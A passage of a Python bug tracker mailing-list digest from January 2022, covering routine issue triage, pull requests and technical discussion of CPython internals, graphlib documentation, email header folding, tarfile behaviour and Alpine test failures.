nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:22:27 2022 From: report at bugs.python.org (Mario Corchero) Date: Fri, 21 Jan 2022 17:22:27 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1642785747.1.0.806221911671.issue41906@roundup.psfhosted.org> Change by Mario Corchero : ---------- keywords: +patch pull_requests: +28943 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30756 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:24:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:24:03 +0000 Subject: [issue33994] python build egg fails with error while compiling test cases In-Reply-To: <1530249530.09.0.56676864532.issue33994@psf.upfronthosting.co.za> Message-ID: <1642785843.19.0.898411351998.issue33994@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Please create a new issue if you are seeing this on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:29:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:29:02 +0000 Subject: [issue33286] Conflict between tqdm and multiprocessing on windows In-Reply-To: <1523874106.93.0.682650639539.issue33286@psf.upfronthosting.co.za> Message-ID: <1642786142.86.0.3544559068.issue33286@roundup.psfhosted.org> Irit Katriel added the comment: The tqdm_multi.py works for me on 3.11 on windows. ---------- nosy: +iritkatriel resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:30:13 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 17:30:13 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1642786213.97.0.84670546776.issue46426@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +28944 pull_request: https://github.com/python/cpython/pull/30757 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:31:34 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 21 Jan 2022 17:31:34 +0000 Subject: [issue46426] Improve tests for the dir_fd argument In-Reply-To: <1642535009.06.0.529975852258.issue46426@roundup.psfhosted.org> Message-ID: <1642786294.27.0.270876443431.issue46426@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset a1015c6478e8cbec2ecb984a3cba733783d168b5 by Miss Islington (bot) in branch '3.10': bpo-46426: Improve tests for the dir_fd argument (GH-30668) (GH-30739) https://github.com/python/cpython/commit/a1015c6478e8cbec2ecb984a3cba733783d168b5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:32:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:32:40 +0000 Subject: [issue29541] Python3 error while building on Alt-F In-Reply-To: <1486972341.9.0.0995375126995.issue29541@psf.upfronthosting.co.za> Message-ID: <1642786360.45.0.724004464679.issue29541@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained, please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:33:05 2022 From: report at bugs.python.org (mike mcleod) Date: Fri, 21 Jan 2022 17:33:05 +0000 Subject: [issue10434] Document the rules for "public names" In-Reply-To: <1289919338.9.0.394057770971.issue10434@psf.upfronthosting.co.za> Message-ID: <1642786385.6.0.986489543768.issue10434@roundup.psfhosted.org> mike mcleod added the comment: I would like to help on this issue. Is there anyone available to push a PR through? If I make the changes. ---------- nosy: +mikecmcleod _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:33:28 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 17:33:28 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642786408.96.0.320287590617.issue46434@roundup.psfhosted.org> miss-islington added the comment: New changeset c3ad850b57f92bd7c5515616b59afbd9e1c79538 by Miss Islington (bot) in branch '3.9': bpo-46434: Handle missing docstrings in pdb help (GH-30705) https://github.com/python/cpython/commit/c3ad850b57f92bd7c5515616b59afbd9e1c79538 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:35:21 2022 From: report at bugs.python.org (Yellow Dusk) Date: Fri, 21 Jan 2022 17:35:21 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? In-Reply-To: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> Message-ID: <1642786521.11.0.570631491767.issue46442@roundup.psfhosted.org> Change by Yellow Dusk : ---------- pull_requests: +28945 pull_request: https://github.com/python/cpython/pull/30758 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:35:46 2022 From: report at bugs.python.org (mike mcleod) Date: Fri, 21 Jan 2022 17:35:46 +0000 Subject: [issue1521051] Allow passing DocTestRunner and DocTestCase in doctest Message-ID: <1642786546.3.0.106032056086.issue1521051@roundup.psfhosted.org> mike mcleod added the comment: I would like to help on this issue. ---------- nosy: +mikecmcleod _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:36:19 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 Jan 2022 17:36:19 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642786579.62.0.942166881502.issue46071@roundup.psfhosted.org> Tim Peters added the comment: Now you may be getting somewhere ;-) Complaining about the docs wasn't getting traction because they're using standard terminology with the standard meanings, and tell the plain truth about what the class requires and delivers. You wish it required something else instead. Fine: be direct about that! Suggest a feature enhancement rather than contorting the docs to pretend the class "really" requires what you _wish_ it required and is computing "the reverse" of what it claims to be computing. That won't be accepted because it's not true. How about, e.g., suggesting instead a new optional constructor argument, like `successor_graph=False`, which can be passed as `True` to say that the `graph` argument is a successor dict rather than the default predecessor dict? I wouldn't oppose that, and it would be easy to implement (indeed, way back when here I already posted code to do it). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:36:40 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 17:36:40 +0000 Subject: [issue39952] Using VS2019 to automatically build Python3 and it failed to build In-Reply-To: <1584071199.52.0.120678224037.issue39952@roundup.psfhosted.org> Message-ID: <1642786600.11.0.526966634292.issue39952@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Can we close this now, or is this a problem on newer versions as well? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:38:44 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 17:38:44 +0000 Subject: [issue39952] Using VS2019 to automatically build Python3 and it failed to build In-Reply-To: <1584071199.52.0.120678224037.issue39952@roundup.psfhosted.org> Message-ID: <1642786724.57.0.550290003314.issue39952@roundup.psfhosted.org> Steve Dower added the comment: I think we can close it. ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:40:00 2022 From: report at bugs.python.org (Patric Gustavsson) Date: Fri, 21 Jan 2022 17:40:00 +0000 Subject: [issue46461] Kodi crashing Message-ID: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> New submission from Patric Gustavsson : Dear Sir/Madam, I was adviced to submitt an issue here, as the kodi team suggests its a problem with python. i get this error in my syslog : Jan 21 18:19:09 mediapc kernel: [ 14.478095] LanguageInvoker[1228]: segfault at 0 ip 00007fe50f704f45 sp 00007fe48d7f84e8 error 4 in libc-2.33.so[7fe50f5ab000+16b000] Link to thread on Kodi forum : https://forum.kodi.tv/showthread.php?tid=363499 Best Regards Patric ---------- messages: 411164 nosy: mrpg priority: normal severity: normal status: open title: Kodi crashing type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:42:30 2022 From: report at bugs.python.org (mike mcleod) Date: Fri, 21 Jan 2022 17:42:30 +0000 Subject: [issue32658] Metacharacter (\) documentation suggestion In-Reply-To: <1516838461.29.0.467229070634.issue32658@psf.upfronthosting.co.za> Message-ID: <1642786950.54.0.0885145675748.issue32658@roundup.psfhosted.org> mike mcleod added the comment: I would like to help with this issue. Is that acceptable? ---------- nosy: +mikecmcleod _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:45:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 17:45:18 +0000 Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect In-Reply-To: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> Message-ID: <1642787118.81.0.478699498803.issue46433@roundup.psfhosted.org> STINNER Victor added the comment: Oh, it seems like I misunderstood type_ready_mro() change. The check is only done on static types type. The MRO of heap types is not checked. -- In my change, I wrote: // _PyType_GetModuleByDef() must only be called on a heap type created // by PyType_FromModuleAndSpec() or on its subclasses. // type_ready_mro() ensures that a static type cannot inherit from a // heap type. based on this function: static int type_ready_mro(PyTypeObject *type) { /* Calculate method resolution order */ if (mro_internal(type, NULL) < 0) { return -1; } assert(type->tp_mro != NULL); assert(PyTuple_Check(type->tp_mro)); /* All bases of statically allocated type should be statically allocated */ if (!(type->tp_flags & Py_TPFLAGS_HEAPTYPE)) { PyObject *mro = type->tp_mro; Py_ssize_t n = PyTuple_GET_SIZE(mro); for (Py_ssize_t i = 0; i < n; i++) { PyTypeObject *base = (PyTypeObject *)PyTuple_GET_ITEM(mro, i); if (PyType_Check(base) && (base->tp_flags & Py_TPFLAGS_HEAPTYPE)) { PyErr_Format(PyExc_TypeError, "type '%.100s' is not dynamically allocated but " "its base type '%.100s' is dynamically allocated", type->tp_name, base->tp_name); return -1; } } } return 0; } This code comes from bpo-22079: commit e09bcc874a21ce351a7fe73b9a137e236550d03c Author: Serhiy Storchaka Date: Wed Jan 28 11:03:33 2015 +0200 Issue #22079: PyType_Ready() now checks that statically allocated type has no dynamically allocated bases. Rationale: https://bugs.python.org/issue22079#msg236830 -- Note: PyType_Ready() function was very big and complex. I splitted this huge function into sub-functions in bpo-43770. I hope that it's a little bit more readable yet. I tried but failed to find a bug about tp_getattro and tp_setattro inheritance ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:47:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 17:47:13 +0000 Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect In-Reply-To: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> Message-ID: <1642787233.48.0.518000550389.issue46433@roundup.psfhosted.org> STINNER Victor added the comment: An alternative would be to merge PyHeapTypeObject members into PyTypeObject. I don't get why there is a separated struture: PyTypeObject is excluded from the stable ABI. See my remark about that: https://bugs.python.org/issue22079#msg391464 Having a separated structure just static types make the code more complex and more error prone. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:49:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 17:49:24 +0000 Subject: [issue40120] Undefined C behavior going beyond end of struct via a [1] arrays. In-Reply-To: <1585602263.71.0.279519604291.issue40120@roundup.psfhosted.org> Message-ID: <1642787364.95.0.750647962086.issue40120@roundup.psfhosted.org> STINNER Victor added the comment: #ifdef __cplusplus char array[1]; #else char array[]; #endif Does it change the size of the structure between C and C++, sizeof(PyBytesObject)? Also, does the size of the struture matter? :-) I guess that the impart part is the ABI: offset of the members. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 13:18:53 2022 From: report at bugs.python.org (Patric Gustavsson) Date: Fri, 21 Jan 2022 18:18:53 +0000 Subject: [issue46461] Kodi crashing In-Reply-To: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> Message-ID: <1642789133.05.0.272344376339.issue46461@roundup.psfhosted.org> Patric Gustavsson added the comment: EDIT, just upgraded to ubuntu 21.10 and now use python 3.10.0 , same issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 13:21:23 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 21 Jan 2022 18:21:23 +0000 Subject: [issue46461] Kodi crashing In-Reply-To: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> Message-ID: <1642789283.06.0.215203982725.issue46461@roundup.psfhosted.org> Eric V. Smith added the comment: Without a way to reproduce this, we won't be able to help you. Ideally you would provide a python script, which we could run, which shows the problem. It would be best if there were no third party packages involved, but if there are, you should provide instructions on how to set up a virtual environment that includes whatever software you need. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 13:21:38 2022 From: report at bugs.python.org (J. Walter Clark) Date: Fri, 21 Jan 2022 18:21:38 +0000 Subject: [issue46462] Email Header Folding Converts Non-CRLF Newlines to CRLFs Message-ID: <1642789298.35.0.0834990245798.issue46462@roundup.psfhosted.org> New submission from J. Walter Clark : In various places in the email library `str.splitlines` is used to split up a message where folding might take place in the original message source. This appears to be a bug because when these split parts are re-joined they are joined by a CRLF. https://github.com/python/cpython/blob/ef5bb25e2d6147cd44be9c9b166525fb30485be0/Lib/email/header.py#L369 `str.splitlines` splits on "universal newlines" which can include newlines other than the CRLF. https://docs.python.org/3/library/stdtypes.html#str.splitlines However, the email RFCs define folding whitespace with CRLF as the only possible newline type (optionally surrounded by WSP (SP/HTAB) and/or comments). https://datatracker.ietf.org/doc/html/rfc5322#section-3.2.2 The end result is that a message making a roundtrip through the email parser/generator is mangled because it has any non-CRLF "universal newlines" converted to CRLFs. Anything in the header after the non-CRLF "universal newline" appears on it's own line with no preceding whitespace. This appears to happen with all of the stock policies. ``` from email import message_from_bytes from email.policy import SMTPUTF8 eml_bytes = b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n' print(eml_bytes) message = message_from_bytes(eml_bytes, policy=SMTPUTF8) print(message.as_bytes(policy=SMTPUTF8)) ``` ``` b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n' b'Header-With-FS-Char: BEFORE\r\nAFTER\r\n\r\nBody\r\n' ``` The operational impact of this mangling is that the "AFTER" text now makes the message format invalid because it is neither a valid header (no ": ") nor the valid start of a message body (only one CRLF). Common MIME-viewers (e.g. Thunderbird/Outlook) appear to interpret it as a body anyway and any subsequent headers become part of the body. ---------- components: Library (Lib) messages: 411171 nosy: jwalterclark priority: normal severity: normal status: open title: Email Header Folding Converts Non-CRLF Newlines to CRLFs type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:00:41 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 21 Jan 2022 19:00:41 +0000 Subject: [issue46455] Deprecate / remove os.name=java In-Reply-To: <1642769558.95.0.589223779906.issue46455@roundup.psfhosted.org> Message-ID: <1642791641.6.0.826682652545.issue46455@roundup.psfhosted.org> Change by ?ric Araujo : ---------- versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:06:38 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 19:06:38 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642791998.3.0.0857033721992.issue46434@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28946 pull_request: https://github.com/python/cpython/pull/30759 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:18:42 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 21 Jan 2022 19:18:42 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods In-Reply-To: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> Message-ID: <1642792722.66.0.634127568678.issue46419@roundup.psfhosted.org> ?ric Araujo added the comment: Maybe the reference should be removed entirely! Nowadays there may be more people knowing Python and how its methods work than C++. ---------- nosy: +eric.araujo, gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:22:24 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 21 Jan 2022 19:22:24 +0000 Subject: [issue46439] Clarify urllib.request.add_header documentation In-Reply-To: <1642626026.43.0.914790012099.issue46439@roundup.psfhosted.org> Message-ID: <1642792944.05.0.382102551924.issue46439@roundup.psfhosted.org> ?ric Araujo added the comment: I think the doc assumes that people will expect headers to be added for redirections, and if not the existence of the method `add_unredirected_header` that?s documented just after would tell it. That said, the addition does no harm, so why not be explicit. ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:26:45 2022 From: report at bugs.python.org (Ashwin Ramaswami) Date: Fri, 21 Jan 2022 19:26:45 +0000 Subject: [issue46439] Clarify urllib.request.add_header documentation In-Reply-To: <1642626026.43.0.914790012099.issue46439@roundup.psfhosted.org> Message-ID: <1642793205.82.0.259409794952.issue46439@roundup.psfhosted.org> Ashwin Ramaswami added the comment: Yes -- additionally, since other http libraries (I believe) usually don't forward headers on redirections by default, the default for urllib.request is counterintuitive (and maybe even not ideal for security reasons?) and would benefit from additional clarification. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:32:58 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 19:32:58 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642793578.44.0.660052141321.issue46434@roundup.psfhosted.org> miss-islington added the comment: New changeset 05063fa15c594012e6dc9c2c7a3ea72e7cb933f2 by Miss Islington (bot) in branch '3.10': bpo-46434: Handle missing docstrings in pdb help (GH-30705) https://github.com/python/cpython/commit/05063fa15c594012e6dc9c2c7a3ea72e7cb933f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:43:19 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 19:43:19 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642794199.09.0.524092178506.issue46434@roundup.psfhosted.org> Steve Dower added the comment: Thanks for the contribution! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:53:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 19:53:53 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642794833.88.0.00118131535488.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28947 pull_request: https://github.com/python/cpython/pull/30760 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:55:07 2022 From: report at bugs.python.org (Ned Batchelder) Date: Fri, 21 Jan 2022 19:55:07 +0000 Subject: [issue42197] Disable automatic update of frame locals during tracing In-Reply-To: <1603981001.04.0.667888856285.issue42197@roundup.psfhosted.org> Message-ID: <1642794907.84.0.743665008731.issue42197@roundup.psfhosted.org> Ned Batchelder added the comment: I ran the coverage.py test suite using https://github.com/faster-cpython/cpython/tree/dont-fast-to-locals-in-trampoline, and there were no failures. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 14:57:26 2022 From: report at bugs.python.org (mxmlnkn) Date: Fri, 21 Jan 2022 19:57:26 +0000 Subject: [issue40757] tarfile: ignore_zeros = True won't raise exception even on invalid (non-zero) TARs In-Reply-To: <1590343844.38.0.257135087645.issue40757@roundup.psfhosted.org> Message-ID: <1642795046.77.0.779816080746.issue40757@roundup.psfhosted.org> mxmlnkn added the comment: I think you misunderstood. foo.txt is a file, which actually exists but contains non-TAR data. E.g. try: base64 /dev/urandom | head -c $(( 2048 )) > foo.txt python3 -c 'import tarfile; print(list(tarfile.open("foo.txt")))' Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.9/tarfile.py", line 1616, in open raise ReadError("file could not be opened successfully") tarfile.ReadError: file could not be opened successfully python3 -c 'import tarfile; print(list(tarfile.open("foo.txt", ignore_zeros=True)))' [] ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:06:54 2022 From: report at bugs.python.org (David Mc Dougall) Date: Fri, 21 Jan 2022 20:06:54 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642795614.64.0.431010536611.issue46071@roundup.psfhosted.org> David Mc Dougall added the comment: No, the code works fine. I just wish the docs weren't so muddled. I wish the docs started by saying: > The graph is a dict of {'start_node': ['end_nodes',]} > The topological sorter puts the end_nodes before their start_nodes. [note: this is what the code currently does] Then the docs could introduce and use different terminology: "tasks" and their "dependencies". Everyone understands what those are. And nowhere does it need to say the word "predecessors". But honestly, I think I'm going to throw in the towel and give up on this endeavor. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:10:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 20:10:21 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642795821.29.0.585474849812.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28948 pull_request: https://github.com/python/cpython/pull/30761 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:17:55 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 20:17:55 +0000 Subject: [issue46463] escape4chm.py script causing AttributeError in docs build Message-ID: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> New submission from Steve Dower : Exception occurred: File "D:\a\1\s\Doc\tools\extensions\escape4chm.py", line 44, in fixup_keywords with app.builder.open_file(outdir, outname + '.hhk', 'r') as f: AttributeError: 'HTMLHelpBuilder' object has no attribute 'open_file' The full traceback has been saved in C:\Users\VSSADM~1\AppData\Local\Temp\sphinx-err-9ikx8s0b.log, if you want to report the issue to the developers. Please also report this if it was a user error, so that a better error message can be provided next time. A bug report can be filed in the tracker at . Thanks! ---------- assignee: steve.dower components: Build, Documentation messages: 411180 nosy: steve.dower priority: normal severity: normal status: open title: escape4chm.py script causing AttributeError in docs build versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:31:24 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 20:31:24 +0000 Subject: [issue24711] Document getpass.getpass behavior on ^C In-Reply-To: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za> Message-ID: <1642797084.77.0.871013379137.issue24711@roundup.psfhosted.org> Terry J. Reedy added the comment: In IDLE Shell, with either ^C or ^D, >> try: ... input('??') ... except: ... 'done' ... ... ?? 'done' 'getpass.getpass('??') does same after printing warning from line 100 that fallback_getpass is being used. The newline may be supplied by IDLE, not sure. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:39:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 20:39:10 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642797550.46.0.48690011366.issue46417@roundup.psfhosted.org> STINNER Victor added the comment: New changeset bc67f189fdd62ed42013fa05cd0ef2df498f5967 by Victor Stinner in branch 'main': bpo-46417: Add _PyType_CAST() macro (GH-30760) https://github.com/python/cpython/commit/bc67f189fdd62ed42013fa05cd0ef2df498f5967 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:45:33 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 21 Jan 2022 20:45:33 +0000 Subject: [issue46071] Graphlib documentation (edge direction) In-Reply-To: <1639495203.77.0.753963192728.issue46071@roundup.psfhosted.org> Message-ID: <1642797933.76.0.355234969569.issue46071@roundup.psfhosted.org> Dennis Sweeney added the comment: I think I can summarize: Tim + Current Docs: * static_order to return [A, B] * Conceptual/abstract directed graph direction is A --> B * A is a predecessor of B * predecessor mapping to be passed is {B: [A]} David suggests: * static_order returns [A, B] * Conceptual/abstract directed graph direction is B --> A * mapping to be passed is {B: [A]} It seems David places more value on the idea of the concrete mapping "pointing forwards" with respect to the abstract directed graph, while it seems Tim places more value on the idea of the abstract mapping direction corresponding to the final static order. These two goals are in conflict, assuming we don't want to change the behavior. I think I agree more with Tim, since abstract graphs can be represented in lots of ways (set of pairs? adjacency matrix or its transpose? adjacency list/dict? Bi-directional mapping?), so the translation from the abstract to the concrete is a decent place for the "reversal". It's very very standard for a topological sort to be conceptualized as taking a picture like A ? B ? ? C ? D and transforming it into a list/iterator like [A, B, C, D], and I think the conceptual consistency there should be preserved, even if the concrete representation of the abstract graph "points backwards". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:08:08 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 21:08:08 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642799288.38.0.42237235037.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28949 pull_request: https://github.com/python/cpython/pull/30763 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:12:19 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 21:12:19 +0000 Subject: [issue44975] [typing] Runtime protocols with ClassVar data members should support issubclass In-Reply-To: <1629622609.34.0.447069289698.issue44975@roundup.psfhosted.org> Message-ID: <1642799539.0.0.718794030355.issue44975@roundup.psfhosted.org> Guido van Rossum added the comment: IMO we shouldn't update PEP 544. PEPs reflect the historical proposal, they are not documentation for the current state of the interpreter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:18:35 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 21 Jan 2022 21:18:35 +0000 Subject: [issue46124] Deprecation warning in zoneinfo module In-Reply-To: <1639836261.99.0.934737788895.issue46124@roundup.psfhosted.org> Message-ID: <1642799915.57.0.655510674488.issue46124@roundup.psfhosted.org> miss-islington added the comment: New changeset 00b2b578bd9e516d601063a086b03177f546bcdd by Jason R. Coombs in branch 'main': bpo-46124: Update zoneinfo to rely on importlib.resources traversable API. (GH-30190) https://github.com/python/cpython/commit/00b2b578bd9e516d601063a086b03177f546bcdd ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:19:55 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 Jan 2022 21:19:55 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods In-Reply-To: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> Message-ID: <1642799995.09.0.437970079646.issue46419@roundup.psfhosted.org> Guido van Rossum added the comment: Just because __init__ is extra weird doesn't mean that other methods aren't roughly like C++. But I can't find the text the OP refers to. Without a specific pointer (at least a URL and quoted text) this issue is non-actionable and should probably be closed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:21:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 21:21:24 +0000 Subject: [issue46417] Clear static types in Py_Finalize() for embedded Python In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642800084.18.0.0169623129147.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28950 pull_request: https://github.com/python/cpython/pull/30764 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 16:21:42 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 21 Jan 2022 21:21:42 +0000 Subject: [issue46390] Multiple test failures on Alpine 3.15 / musl-1.2.2-r7 In-Reply-To: <1642251384.22.0.111419838078.issue46390@roundup.psfhosted.org> Message-ID: <1642800102.33.0.203243071383.issue46390@roundup.psfhosted.org> Terry J. Reedy added the comment: The first alpine315-tests.txt appears to be a truncated version of the second. Were you expecting the first to be automatically replaced? Should it be unlinked? https://www.alpinelinux.org "Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox." Fron the doc linked above: # Maintainer: Natanael Copa ## I nosied Natanael at his CLA-signed Alpine id. # Contributor: Sheila Aman ... # musl related fail="test__locale test_locale test_strptime test_re" # various musl locale deficiencies fail="$fail test_c_locale_coercion" fail="$fail test_datetime" # hangs if 'tzdata' installed fail="$fail test_os" # fpathconf, ttyname errno values fail="$fail test_posix" # sched_[gs]etscheduler not impl fail="$fail test_shutil" # lchmod, requires 